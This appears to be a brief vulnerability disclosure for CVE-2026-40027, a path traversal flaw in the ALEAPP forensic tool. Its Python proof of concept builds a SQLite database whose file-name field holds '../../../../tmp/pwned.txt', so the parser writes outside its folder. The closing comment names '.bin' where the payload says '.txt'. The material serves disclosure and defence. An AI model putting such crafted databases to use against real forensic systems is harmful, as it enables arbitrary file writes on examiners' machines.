CVE-2026-40027 ALEAPP路径遍历漏洞

# PoC concept: Injecting a payload into the database import sqlite3 # Simulate the attacker's database preparation conn = sqlite3.connect('malicious_nq_vault.db') cursor = conn.cursor() # Create a table structure similar to what ALEAPP expects cursor.execute('''CREATE TABLE IF NOT EXISTS NQ_Vault (file_name_from TEXT, data BLOB)''') # Insert a payload with path traversal # The payload attempts to write to a sensitive location malicious_filename = "../../../../tmp/pwned.txt" malicious_content = b"This file was written via path traversal." cursor.execute("INSERT INTO NQ_Vault (file_name_from, data) VALUES (?, ?)", (malicious_filename, malicious_content)) conn.commit() conn.close() # When ALEAPP parses this DB, it will read 'file_name_from' and write to '../../../../tmp/pwned.bin'